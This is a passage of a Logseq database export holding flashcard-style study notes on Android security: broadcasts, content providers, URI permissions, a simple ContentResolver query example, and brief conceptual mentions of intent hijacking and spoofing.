Messages]])logseq____",536873226]],[logseq____"^15logseq____",[440,logseq____"^Ologseq____",logseq____"^16logseq____",536873226]],[logseq____"^15logseq____",[440,logseq____"^Flogseq____",439,536873226]],[logseq____"^15logseq____",[440,logseq____"^Xlogseq____",410,536873226]],[logseq____"^15logseq____",[440,logseq____"^Vlogseq____",439,536873226]],[logseq____"^15logseq____",[440,logseq____"^Ulogseq____",2,536873226]],[logseq____"^15logseq____",[440,logseq____"^Ulogseq____",24,536873226]],[logseq____"^15logseq____",[440,logseq____"^Ulogseq____",75,536873226]],[logseq____"^15logseq____",[440,logseq____"^Ulogseq____",410,536873226]],[logseq____"^15logseq____",[440,logseq____"^Hlogseq____",75,536873226]],[logseq____"^15logseq____",[440,logseq____"^;logseq____",logseq____"~u67b983c7-18bb-4bce-a5d5-d0cebb70b189logseq____",536873226]],[logseq____"^15logseq____",[441,logseq____"^Qlogseq____",logseq____"Bound to processing the [Intent]([[Intent Messages]]), i.e., *short-lived* (handled in the main thread, hence, app freezes when handling Intent, thus, should finish quickly)logseq____",536873226]],[logseq____"^15logseq____",[441,logseq____"^Ologseq____",logseq____"^16logseq____",536873226]],[logseq____"^15logseq____",[441,logseq____"^Flogseq____",440,536873226]],[logseq____"^15logseq____",[441,logseq____"^Xlogseq____",410,536873226]],[logseq____"^15logseq____",[441,logseq____"^Vlogseq____",439,536873226]],[logseq____"^15logseq____",[441,logseq____"^Ulogseq____",2,536873226]],[logseq____"^15logseq____",[441,logseq____"^Ulogseq____",24,536873226]],[logseq____"^15logseq____",[441,logseq____"^Ulogseq____",75,536873226]],[logseq____"^15logseq____",[441,logseq____"^Ulogseq____",410,536873226]],[logseq____"^15logseq____",[441,logseq____"^Hlogseq____",75,536873226]],[logseq____"^15logseq____",[441,logseq____"^;logseq____",logseq____"~u67b983c7-e922-4ddd-a47a-00d2f77b06e7logseq____",536873226]],[logseq____"^15logseq____",[442,logseq____"^Qlogseq____",logseq____"Should be registered at runtime using a *context-registered receiver*logseq____",536873226]],[logseq____"^15logseq____",[442,logseq____"^Ologseq____",logseq____"^16logseq____",536873226]],[logseq____"^15logseq____",[442,logseq____"^Flogseq____",441,536873226]],[logseq____"^15logseq____",[442,logseq____"^Xlogseq____",410,536873226]],[logseq____"^15logseq____",[442,logseq____"^Vlogseq____",439,536873226]],[logseq____"^15logseq____",[442,logseq____"^Ulogseq____",2,536873226]],[logseq____"^15logseq____",[442,logseq____"^Ulogseq____",24,536873226]],[logseq____"^15logseq____",[442,logseq____"^Ulogseq____",410,536873226]],[logseq____"^15logseq____",[442,logseq____"^;logseq____",logseq____"~u67b983c7-87c3-4b77-bda2-d2c804dbf9fdlogseq____",536873226]],[logseq____"^15logseq____",[443,logseq____"^Qlogseq____",logseq____"Some [exceptions](https://developer.android.com/develop/background-work/background-tasks/broadcasts/broadcast-exceptions) allow for registration via the [[Application Manifest]]logseq____",536873226]],[logseq____"^15logseq____",[443,logseq____"^Ologseq____",logseq____"^16logseq____",536873226]],[logseq____"^15logseq____",[443,logseq____"^Flogseq____",442,536873226]],[logseq____"^15logseq____",[443,logseq____"^Xlogseq____",410,536873226]],[logseq____"^15logseq____",[443,logseq____"^Vlogseq____",439,536873226]],[logseq____"^15logseq____",[443,logseq____"^Ulogseq____",2,536873226]],[logseq____"^15logseq____",[443,logseq____"^Ulogseq____",24,536873226]],[logseq____"^15logseq____",[443,logseq____"^Ulogseq____",28,536873226]],[logseq____"^15logseq____",[443,logseq____"^Ulogseq____",410,536873226]],[logseq____"^15logseq____",[443,logseq____"^Hlogseq____",28,536873226]],[logseq____"^15logseq____",[443,logseq____"^;logseq____",logseq____"~u67b983c7-778e-4825-9351-620d5121f22dlogseq____",536873226]],[logseq____"^15logseq____",[444,logseq____"^Qlogseq____",logseq____"Examples: Location changes, SMS/MMS receivedlogseq____",536873226]],[logseq____"^15logseq____",[444,logseq____"^Ologseq____",logseq____"^16logseq____",536873226]],[logseq____"^15logseq____",[444,logseq____"^Flogseq____",443,536873226]],[logseq____"^15logseq____",[444,logseq____"^Xlogseq____",410,536873226]],[logseq____"^15logseq____",[444,logseq____"^Vlogseq____",439,536873226]],[logseq____"^15logseq____",[444,logseq____"^Ulogseq____",2,536873226]],[logseq____"^15logseq____",[444,logseq____"^Ulogseq____",24,536873226]],[logseq____"^15logseq____",[444,logseq____"^Ulogseq____",410,536873226]],[logseq____"^15logseq____",[444,logseq____"^;logseq____",logseq____"~u67b983c7-9f37-40be-b79c-2a003a20cb51logseq____",536873226]],[logseq____"^15logseq____",[445,logseq____"^Qlogseq____",logseq____"Apps can send *custom broadcasts* with the `sendBroadcast(Intent)` methodlogseq____",536873226]],[logseq____"^15logseq____",[445,logseq____"^Ologseq____",logseq____"^16logseq____",536873226]],[logseq____"^15logseq____",[445,logseq____"^Flogseq____",444,536873226]],[logseq____"^15logseq____",[445,logseq____"^Xlogseq____",410,536873226]],[logseq____"^15logseq____",[445,logseq____"^Vlogseq____",439,536873226]],[logseq____"^15logseq____",[445,logseq____"^Ulogseq____",2,536873226]],[logseq____"^15logseq____",[445,logseq____"^Ulogseq____",24,536873226]],[logseq____"^15logseq____",[445,logseq____"^Ulogseq____",410,536873226]],[logseq____"^15logseq____",[445,logseq____"^;logseq____",logseq____"~u67b983c7-3e5d-4eb9-bc9b-3a020573e427logseq____",536873226]],[logseq____"^15logseq____",[447,logseq____"^Qlogseq____",logseq____"~`grant-uri-permissions`: define data subsets (complete path, optional regex or prefix) that permissions can be granted forlogseq____",536873228]],[logseq____"^15logseq____",[447,logseq____"^Ologseq____",logseq____"^16logseq____",536873228]],[logseq____"^15logseq____",[447,logseq____"^Flogseq____",452,536873228]],[logseq____"^15logseq____",[447,logseq____"^Xlogseq____",412,536873228]],[logseq____"^15logseq____",[447,logseq____"^Vlogseq____",453,536873228]],[logseq____"^15logseq____",[447,logseq____"^Ulogseq____",412,536873228]],[logseq____"^15logseq____",[447,logseq____"^;logseq____",logseq____"~u67b983c7-e19e-4da2-b0f3-778864c46a9alogseq____",536873228]],[logseq____"^15logseq____",[448,logseq____"^Qlogseq____",logseq____"Standardized mechanism used to share (possibly structured) data among applicationslogseq____",536873228]],[logseq____"^15logseq____",[448,logseq____"^Ologseq____",logseq____"^16logseq____",536873228]],[logseq____"^15logseq____",[448,logseq____"^Flogseq____",450,536873228]],[logseq____"^15logseq____",[448,logseq____"^Xlogseq____",412,536873228]],[logseq____"^15logseq____",[448,logseq____"^Vlogseq____",450,536873228]],[logseq____"^15logseq____",[448,logseq____"^Ulogseq____",2,536873228]],[logseq____"^15logseq____",[448,logseq____"^Ulogseq____",24,536873228]],[logseq____"^15logseq____",[448,logseq____"^Ulogseq____",412,536873228]],[logseq____"^15logseq____",[448,logseq____"^;logseq____",logseq____"~u67b983c7-e47c-443c-8f9a-3ce9281c6715logseq____",536873228]],[logseq____"^15logseq____",[449,logseq____"^Qlogseq____",logseq____"There may be separate permissions for read/write accesslogseq____",536873228]],[logseq____"^15logseq____",[449,logseq____"^Ologseq____",logseq____"^16logseq____",536873228]],[logseq____"^15logseq____",[449,logseq____"^Flogseq____",455,536873228]],[logseq____"^15logseq____",[449,logseq____"^Xlogseq____",412,536873228]],[logseq____"^15logseq____",[449,logseq____"^Vlogseq____",453,536873228]],[logseq____"^15logseq____",[449,logseq____"^Ulogseq____",412,536873228]],[logseq____"^15logseq____",[449,logseq____"^;logseq____",logseq____"~u67b983c7-22ba-4ac0-8161-9d299be89cfblogseq____",536873228]],[logseq____"^15logseq____",[450,logseq____"^Qlogseq____",logseq____"## General Information #card #android-basicslogseq____",536873228]],[logseq____"^15logseq____",[450,logseq____"^Ologseq____",logseq____"^16logseq____",536873228]],[logseq____"^15logseq____",[450,logseq____"^Flogseq____",412,536873228]],[logseq____"^15logseq____",[450,logseq____"^Xlogseq____",412,536873228]],[logseq____"^15logseq____",[450,logseq____"^Vlogseq____",412,536873228]],[logseq____"^15logseq____",[450,logseq____"^Ulogseq____",2,536873228]],[logseq____"^15logseq____",[450,logseq____"^Ulogseq____",24,536873228]],[logseq____"^15logseq____",[450,logseq____"^Ulogseq____",412,536873228]],[logseq____"^15logseq____",[450,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873228]],[logseq____"^15logseq____",[450,logseq____"^Jlogseq____",[],536873228]],[logseq____"^15logseq____",[450,logseq____"^Hlogseq____",2,536873228]],[logseq____"^15logseq____",[450,logseq____"^Hlogseq____",24,536873228]],[logseq____"^15logseq____",[450,logseq____"^;logseq____",logseq____"~u67b983c7-f11b-4187-be8c-ea08c20a430elogseq____",536873228]],[logseq____"^15logseq____",[451,logseq____"^Qlogseq____",logseq____"URI to address [Content Providers]([[Content Provider]]) and their datalogseq____",536873228]],[logseq____"^15logseq____",[451,logseq____"^Ologseq____",logseq____"^16logseq____",536873228]],[logseq____"^15logseq____",[451,logseq____"^Flogseq____",454,536873228]],[logseq____"^15logseq____",[451,logseq____"^Xlogseq____",412,536873228]],[logseq____"^15logseq____",[451,logseq____"^Vlogseq____",450,536873228]],[logseq____"^15logseq____",[451,logseq____"^Ulogseq____",2,536873228]],[logseq____"^15logseq____",[451,logseq____"^Ulogseq____",24,536873228]],[logseq____"^15logseq____",[451,logseq____"^Ulogseq____",412,536873228]],[logseq____"^15logseq____",[451,logseq____"^Hlogseq____",412,536873228]],[logseq____"^15logseq____",[451,logseq____"^;logseq____",logseq____"~u67b983c7-2625-4661-b4b1-7eb6ae8fe8a8logseq____",536873228]],[logseq____"^15logseq____",[452,logseq____"^Qlogseq____",logseq____"~`android:grantUriPermissions`: grant URI permission to any data if true, only data subsets listend in `grant-uri-permission` can be accessed, otherwiselogseq____",536873228]],[logseq____"^15logseq____",[452,logseq____"^Ologseq____",logseq____"^16logseq____",536873228]],[logseq____"^15logseq____",[452,logseq____"^Flogseq____",453,536873228]],[logseq____"^15logseq____",[452,logseq____"^Xlogseq____",412,536873228]],[logseq____"^15logseq____",[452,logseq____"^Vlogseq____",453,536873228]],[logseq____"^15logseq____",[452,logseq____"^Ulogseq____",412,536873228]],[logseq____"^15logseq____",[452,logseq____"^;logseq____",logseq____"~u67b983c7-69f3-4a81-9c92-faa1b41ad63blogseq____",536873228]],[logseq____"^15logseq____",[453,logseq____"^Qlogseq____",logseq____"## URI Permissions\\nid:: 67b85233-f3c4-410b-adaa-326869c76c1alogseq____",536873228]],[logseq____"^15logseq____",[453,logseq____"^Ologseq____",logseq____"^16logseq____",536873228]],[logseq____"^15logseq____",[453,logseq____"^Flogseq____",450,536873228]],[logseq____"^15logseq____",[453,logseq____"^Xlogseq____",412,536873228]],[logseq____"^15logseq____",[453,logseq____"^Vlogseq____",412,536873228]],[logseq____"^15logseq____",[453,logseq____"^Ulogseq____",412,536873228]],[logseq____"^15logseq____",[453,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b85233-f3c4-410b-adaa-326869c76c1alogseq____",logseq____"^17logseq____",2],536873228]],[logseq____"^15logseq____",[453,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536873228]],[logseq____"^15logseq____",[453,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b85233-f3c4-410b-adaa-326869c76c1alogseq____"],536873228]],[logseq____"^15logseq____",[453,logseq____"^;logseq____",logseq____"~u67b85233-f3c4-410b-adaa-326869c76c1alogseq____",536873228]],[logseq____"^15logseq____",[454,logseq____"^Qlogseq____",logseq____"SQL-like data managementlogseq____",536873228]],[logseq____"^15logseq____",[454,logseq____"^Ologseq____",logseq____"^16logseq____",536873228]],[logseq____"^15logseq____",[454,logseq____"^Flogseq____",448,536873228]],[logseq____"^15logseq____",[454,logseq____"^Xlogseq____",412,536873228]],[logseq____"^15logseq____",[454,logseq____"^Vlogseq____",450,536873228]],[logseq____"^15logseq____",[454,logseq____"^Ulogseq____",2,536873228]],[logseq____"^15logseq____",[454,logseq____"^Ulogseq____",24,536873228]],[logseq____"^15logseq____",[454,logseq____"^Ulogseq____",412,536873228]],[logseq____"^15logseq____",[454,logseq____"^;logseq____",logseq____"~u67b983c7-b543-487f-a7c3-b44d5b8fb2bdlogseq____",536873228]],[logseq____"^15logseq____",[455,logseq____"^Qlogseq____",logseq____"Permissions are granted via [[Intent Messages]] or context (contexts must be manually revoked)logseq____",536873228]],[logseq____"^15logseq____",[455,logseq____"^Ologseq____",logseq____"^16logseq____",536873228]],[logseq____"^15logseq____",[455,logseq____"^Flogseq____",447,536873228]],[logseq____"^15logseq____",[455,logseq____"^Xlogseq____",412,536873228]],[logseq____"^15logseq____",[455,logseq____"^Vlogseq____",453,536873228]],[logseq____"^15logseq____",[455,logseq____"^Ulogseq____",75,536873228]],[logseq____"^15logseq____",[455,logseq____"^Ulogseq____",412,536873228]],[logseq____"^15logseq____",[455,logseq____"^Hlogseq____",75,536873228]],[logseq____"^15logseq____",[455,logseq____"^;logseq____",logseq____"~u67b983c7-213b-4e47-b447-100c61433c9dlogseq____",536873228]],[logseq____"^15logseq____",[456,logseq____"^Qlogseq____",logseq____"~```java\\nString URL = \\logseq____"content://com.example.android.BookProvider/book/\\logseq____";\\n\\nmCursor = getContentResolver().query(\\n URL,\\t\\t\\t\\t\\t// The content URI\\n mProjection,\\t\\t\\t// String[] of table colums to return for each row\\n mSelectClause,\\t\\t// Selection criteria (logseq____'wherelogseq____' clause)\\n mSelectionArgs,\\t\\t// Selection criteria (arguments for logseq____'wherelogseq____' clause)\\n mSortOrder\\t\\t\\t// Sort order of returned rows\\n);\\n\\nint numcolums = mCursor.getColumnCount();\\nString[] colnames = mCursor.getColumnNames();\\n\\nmCursor.moveToFirst();\\nwhile (cursor.moveToNext()) {\\n // Do something\\n int id = mCursor.getInt(0);\\n String title = mCursor.getString(1);\\n int author_id = mCursor.getInt(2);\\n}\\n```logseq____",536873228]],[logseq____"^15logseq____",[456,logseq____"^Ologseq____",logseq____"^16logseq____",536873228]],[logseq____"^15logseq____",[456,logseq____"^Flogseq____",457,536873228]],[logseq____"^15logseq____",[456,logseq____"^Xlogseq____",412,536873228]],[logseq____"^15logseq____",[456,logseq____"^Vlogseq____",457,536873228]],[logseq____"^15logseq____",[456,logseq____"^Ulogseq____",412,536873228]],[logseq____"^15logseq____",[456,logseq____"^;logseq____",logseq____"~u67b983c7-3df0-474a-adfc-46c3fc34b577logseq____",536873228]],[logseq____"^15logseq____",[457,logseq____"^Qlogseq____",logseq____"## Examplelogseq____",536873228]],[logseq____"^15logseq____",[457,logseq____"^Ologseq____",logseq____"^16logseq____",536873228]],[logseq____"^15logseq____",[457,logseq____"^Flogseq____",453,536873228]],[logseq____"^15logseq____",[457,logseq____"^Xlogseq____",412,536873228]],[logseq____"^15logseq____",[457,logseq____"^Vlogseq____",412,536873228]],[logseq____"^15logseq____",[457,logseq____"^Ulogseq____",412,536873228]],[logseq____"^15logseq____",[457,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873228]],[logseq____"^15logseq____",[457,logseq____"^Jlogseq____",[],536873228]],[logseq____"^15logseq____",[457,logseq____"^;logseq____",logseq____"~u67b983c7-bfa1-4a43-94b5-788ab4c44189logseq____",536873228]],[logseq____"^15logseq____",[458,logseq____"^Qlogseq____",logseq____"## Intent Hijackinglogseq____",536873239]],[logseq____"^15logseq____",[458,logseq____"^Ologseq____",logseq____"^16logseq____",536873239]],[logseq____"^15logseq____",[458,logseq____"^Flogseq____",398,536873239]],[logseq____"^15logseq____",[458,logseq____"^Xlogseq____",75,536873239]],[logseq____"^15logseq____",[458,logseq____"^Vlogseq____",75,536873239]],[logseq____"^15logseq____",[458,logseq____"^Ulogseq____",75,536873239]],[logseq____"^15logseq____",[458,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873239]],[logseq____"^15logseq____",[458,logseq____"^Jlogseq____",[],536873239]],[logseq____"^15logseq____",[458,logseq____"^;logseq____",logseq____"~u67b983c7-c2a6-458a-b6e8-dfd5558700e1logseq____",536873239]],[logseq____"^15logseq____",[459,logseq____"^Qlogseq____",logseq____"Special action strings can only be used by system applications (dropped otherwise)logseq____",536873239]],[logseq____"^15logseq____",[459,logseq____"^Ologseq____",logseq____"^16logseq____",536873239]],[logseq____"^15logseq____",[459,logseq____"^Flogseq____",462,536873239]],[logseq____"^15logseq____",[459,logseq____"^Xlogseq____",75,536873239]],[logseq____"^15logseq____",[459,logseq____"^Vlogseq____",464,536873239]],[logseq____"^15logseq____",[459,logseq____"^Ulogseq____",75,536873239]],[logseq____"^15logseq____",[459,logseq____"^;logseq____",logseq____"~u67b983c7-2649-40c6-93ac-91e3093434bdlogseq____",536873239]],[logseq____"^15logseq____",[460,logseq____"^Qlogseq____",logseq____"Example:logseq____",536873239]],[logseq____"^15logseq____",[460,logseq____"^Ologseq____",logseq____"^16logseq____",536873239]],[logseq____"^15logseq____",[460,logseq____"^Flogseq____",120,536873239]],[logseq____"^15logseq____",[460,logseq____"^Xlogseq____",75,536873239]],[logseq____"^15logseq____",[460,logseq____"^Vlogseq____",123,536873239]],[logseq____"^15logseq____",[460,logseq____"^Ulogseq____",2,536873239]],[logseq____"^15logseq____",[460,logseq____"^Ulogseq____",24,536873239]],[logseq____"^15logseq____",[460,logseq____"^Ulogseq____",75,536873239]],[logseq____"^15logseq____",[460,logseq____"^;logseq____",logseq____"~u67b983c7-32ad-4a42-8d5b-606031d57629logseq____",536873239]],[logseq____"^15logseq____",[461,logseq____"^Qlogseq____",logseq____"Ordered broadcasts may be stopped or altered by an attackerlogseq____",536873239]],[logseq____"^15logseq____",[461,logseq____"^Ologseq____",logseq____"^16logseq____",536873239]],[logseq____"^15logseq____",[461,logseq____"^Flogseq____",465,536873239]],[logseq____"^15logseq____",[461,logseq____"^Xlogseq____",75,536873239]],[logseq____"^15logseq____",[461,logseq____"^Vlogseq____",458,536873239]],[logseq____"^15logseq____",[461,logseq____"^Ulogseq____",75,536873239]],[logseq____"^15logseq____",[461,logseq____"^;logseq____",logseq____"~u67b983c7-9713-491c-9908-132f668732d9logseq____",536873239]],[logseq____"^15logseq____",[462,logseq____"^Qlogseq____",logseq____"\\logseq____"Smishing\\logseq____" (logseq____< Android 4.2): App could fake `SMS_RECEIVED_ACTION`logseq____",536873239]],[logseq____"^15logseq____",[462,logseq____"^Ologseq____",logseq____"^16logseq____",536873239]],[logseq____"^15logseq____",[462,logseq____"^Flogseq____",463,536873239]],[logseq____"^15logseq____",[462,logseq____"^Xlogseq____",75,536873239]],[logseq____"^15logseq____",[462,logseq____"^Vlogseq____",464,536873239]],[logseq____"^15logseq____",[462,logseq____"^Ulogseq____",75,536873239]],[logseq____"^15logseq____",[462,logseq____"^;logseq____",logseq____"~u67b983c7-b8a0-466c-99dd-c581a403da91logseq____",536873239]],[logseq____"^15logseq____",[463,logseq____"^Qlogseq____",logseq____"Malicious apps may send Intents with spoofed actions stringslogseq____",536873239]],[logseq____"^15logseq____",[463,logseq____"^Ologseq____",logseq____"^16logseq____",536873239]],[logseq____"^15logseq____",[463,logseq____"^Flogseq____",464,536873239]],[logseq____"^15logseq____",[463,logseq____"^Xlogseq____",75,536873239]],[logseq____"^15logseq____",[463,logseq____"^Vlogseq____",464,536873239]],[logseq____"^15logseq____",[463,logseq____"^Ulogseq____",75,536873239]],[logseq____"^15logseq____",[463,logseq____"^;logseq____",logseq____"~u67b983c7-a3a8-4e92-bb07-5d105ed17ea7logseq____",536873239]],[logseq____"^15logseq____",[464,logseq____"^Qlogseq____",logseq____"## Intent Spoofinglogseq____",536873239]],[logseq____"^15logseq____",[464,logseq____"^Ologseq____",logseq____"^16logseq____",536873239]],[logseq____"^15logseq____",[464,logseq____"^Flogseq____",458,536873239]],[logseq____"^15logseq____",[464,logseq____"^Xlogseq____",75,536873239]],[logseq____"^15logseq____",[464,logseq____"^Vlogseq____",75,536873239]],[logseq____"^15logseq____",[464,logseq____"^Ulogseq____",75,536873239]],[logseq____"^15logseq____",[464,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873239]],[logseq____"^15logseq____",[464,logseq____"^Jlogseq____",[],536873239]],[logseq____"^15logseq____",[464,logseq____"^;logseq____",logseq____"~u67b983c7-d45d-4e44-8d77-a910cace9a0flogseq____",536873239]],[logseq____"^15logseq____",[465,logseq____"^Qlogseq____",logseq____"Unprotected broadcasts may leak to an evesdropperlogseq____",536873239]],[logseq____"^15logseq____",[465,logseq____"^Ologseq____",logseq____"^16logseq____",536873239]],[logseq____"^15logseq____",[465,logseq____"^Flogseq____",458,536873239]],[logseq____"^15logseq____",[465,logseq____"^Xlogseq____",75,536873239]],[logseq____"^15logseq____",[465,logseq____"^Vlogseq____",458,536873239]],[logseq____"^15logseq____",[465,logseq____"^Ulogseq____",75,536873239]],[logseq____"^15logseq____",[465,logseq____"^;logseq____",logseq____"~u67b983c7-9149-46ba-8d7c-62b3764daf37logseq____",536873239]],[logseq____"^15logseq____",[466,logseq____"^Qlogseq____",logseq____"Acts as permission decision point; responsible for starting applicationslogseq____",536873242]],[logseq____"^15logseq____",[466,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[466,logseq____"^Flogseq____",470,536873242]],[logseq____"^15logseq____",[466,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[466,logseq____"^Vlogseq____",470,536873242]],[logseq____"^15logseq____",[466,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[466,logseq____"^;logseq____",logseq____"~u67b983c8-e858-4969-933d-e785a3544bf3logseq____",536873242]],[logseq____"^15logseq____",[467,logseq____"^Qlogseq____",logseq____"logseq____",536873242]],[logseq____"^15logseq____",[467,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[467,logseq____"^Flogseq____",481,536873242]],[logseq____"^15logseq____",[467,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[467,logseq____"^Vlogseq____",470,536873242]],[logseq____"^15logseq____",[467,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[467,logseq____"^;logseq____",logseq____"~u67b983c8-be4b-4bf2-b090-9d2b23d7c670logseq____",536873242]],[logseq____"^15logseq____",[468,logseq____"^Qlogseq____",logseq____"These services provide APIs to applications allowing for controlled accesslogseq____",536873242]],[logseq____"^15logseq____",[468,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[468,logseq____"^Flogseq____",469,536873242]],[logseq____"^15logseq____",[468,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[468,logseq____"^Vlogseq____",473,536873242]],[logseq____"^15logseq____",[468,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[468,logseq____"^;logseq____",logseq____"~u67b983c8-119a-43d3-9a63-2ce16b02e55dlogseq____",536873242]],[logseq____"^15logseq____",[469,logseq____"^Qlogseq____",logseq____"Sensitive resources are encapsulated in core Android services/apps acting as reference monitorslogseq____",536873242]],[logseq____"^15logseq____",[469,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[469,logseq____"^Flogseq____",473,536873242]],[logseq____"^15logseq____",[469,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[469,logseq____"^Vlogseq____",473,536873242]],[logseq____"^15logseq____",[469,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[469,logseq____"^;logseq____",logseq____"~u67b983c8-b9f1-4a90-822e-a9fcb2d05816logseq____",536873242]],[logseq____"^15logseq____",[470,logseq____"^Qlogseq____",logseq____"Activity Manager Service\\nid:: 67b8b44a-6c31-4d6b-9636-36ff5e0010d0logseq____",536873242]],[logseq____"^15logseq____",[470,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[470,logseq____"^Flogseq____",479,536873242]],[logseq____"^15logseq____",[470,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[470,logseq____"^Vlogseq____",479,536873242]],[logseq____"^15logseq____",[470,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[470,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b8b44a-6c31-4d6b-9636-36ff5e0010d0logseq____"],536873242]],[logseq____"^15logseq____",[470,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536873242]],[logseq____"^15logseq____",[470,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b8b44a-6c31-4d6b-9636-36ff5e0010d0logseq____"],536873242]],[logseq____"^15logseq____",[470,logseq____"^;logseq____",logseq____"~u67b8b44a-6c31-4d6b-9636-36ff5e0010d0logseq____",536873242]],[logseq____"^15logseq____",[471,logseq____"^Qlogseq____",logseq____"Mediate Service access of binding serviceslogseq____",536873242]],[logseq____"^15logseq____",[471,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[471,logseq____"^Flogseq____",475,536873242]],[logseq____"^15logseq____",[471,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[471,logseq____"^Vlogseq____",470,536873242]],[logseq____"^15logseq____",[471,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[471,logseq____"^;logseq____",logseq____"~u67b983c8-9ff4-4ab6-804a-c935bc9a0546logseq____",536873242]],[logseq____"^15logseq____",[472,logseq____"^Qlogseq____",logseq____"Android SDK provides IPC receiver process UID/PID of sender process, i.e., `getCallingUID`, `getCallingPID()`logseq____",536873242]],[logseq____"^15logseq____",[472,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[472,logseq____"^Flogseq____",468,536873242]],[logseq____"^15logseq____",[472,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[472,logseq____"^Vlogseq____",473,536873242]],[logseq____"^15logseq____",[472,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[472,logseq____"^;logseq____",logseq____"~u67b983c8-5a36-404e-a090-6edeb1fa2726logseq____",536873242]],[logseq____"^15logseq____",[473,logseq____"^Qlogseq____",logseq____"### Android Middlewarelogseq____",536873242]],[logseq____"^15logseq____",[473,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[473,logseq____"^Flogseq____",478,536873242]],[logseq____"^15logseq____",[473,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[473,logseq____"^Vlogseq____",478,536873242]],[logseq____"^15logseq____",[473,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[473,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536873242]],[logseq____"^15logseq____",[473,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[473,logseq____"^;logseq____",logseq____"~u67b983c8-1f76-488b-a67f-bfb947e3d8aalogseq____",536873242]],[logseq____"^15logseq____",[474,logseq____"^Qlogseq____",logseq____"Can be querried from every application for permission checkslogseq____",536873242]],[logseq____"^15logseq____",[474,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[474,logseq____"^Flogseq____",466,536873242]],[logseq____"^15logseq____",[474,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[474,logseq____"^Vlogseq____",470,536873242]],[logseq____"^15logseq____",[474,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[474,logseq____"^;logseq____",logseq____"~u67b983c8-d269-4d36-943e-a3254d165ad8logseq____",536873242]],[logseq____"^15logseq____",[475,logseq____"^Qlogseq____",logseq____"Mediating [[Content Provider]] access (checking URI for PDP/PEP, i.e., check path permissions and enforce URI permissions)logseq____",536873242]],[logseq____"^15logseq____",[475,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[475,logseq____"^Flogseq____",476,536873242]],[logseq____"^15logseq____",[475,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[475,logseq____"^Vlogseq____",470,536873242]],[logseq____"^15logseq____",[475,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[475,logseq____"^Ulogseq____",412,536873242]],[logseq____"^15logseq____",[475,logseq____"^Hlogseq____",412,536873242]],[logseq____"^15logseq____",[475,logseq____"^;logseq____",logseq____"~u67b983c8-316e-4ac5-8c9b-2960af2fd680logseq____",536873242]],[logseq____"^15logseq____",[476,logseq____"^Qlogseq____",logseq____"Checks if broadcasts should be delivered to receiver (depends on permissions defined by sender, and granted permissions of receiver)logseq____",536873242]],[logseq____"^15logseq____",[476,logseq____"^Ologseq____",logseq____"^16logseq____",536873242]],[logseq____"^15logseq____",[476,logseq____"^Flogseq____",483,536873242]],[logseq____"^15logseq____",[476,logseq____"^Xlogseq____",354,536873242]],[logseq____"^15logseq____",[476,logseq____"^Vlogseq____",470,536873242]],[logseq____"^15logseq____",[476,logseq____"^Ulogseq____",354,536873242]],[logseq____"^15logseq____",[476,logseq____"^;logseq____",logseq____"~u67b983c8-8f0f-4b72-8764-692e23472739logseq____",536873242]],[logseq____"^15logseq____",[477,logseq____"^Qlogseq____",logseq____"Package Manager Service: Management of permissions and 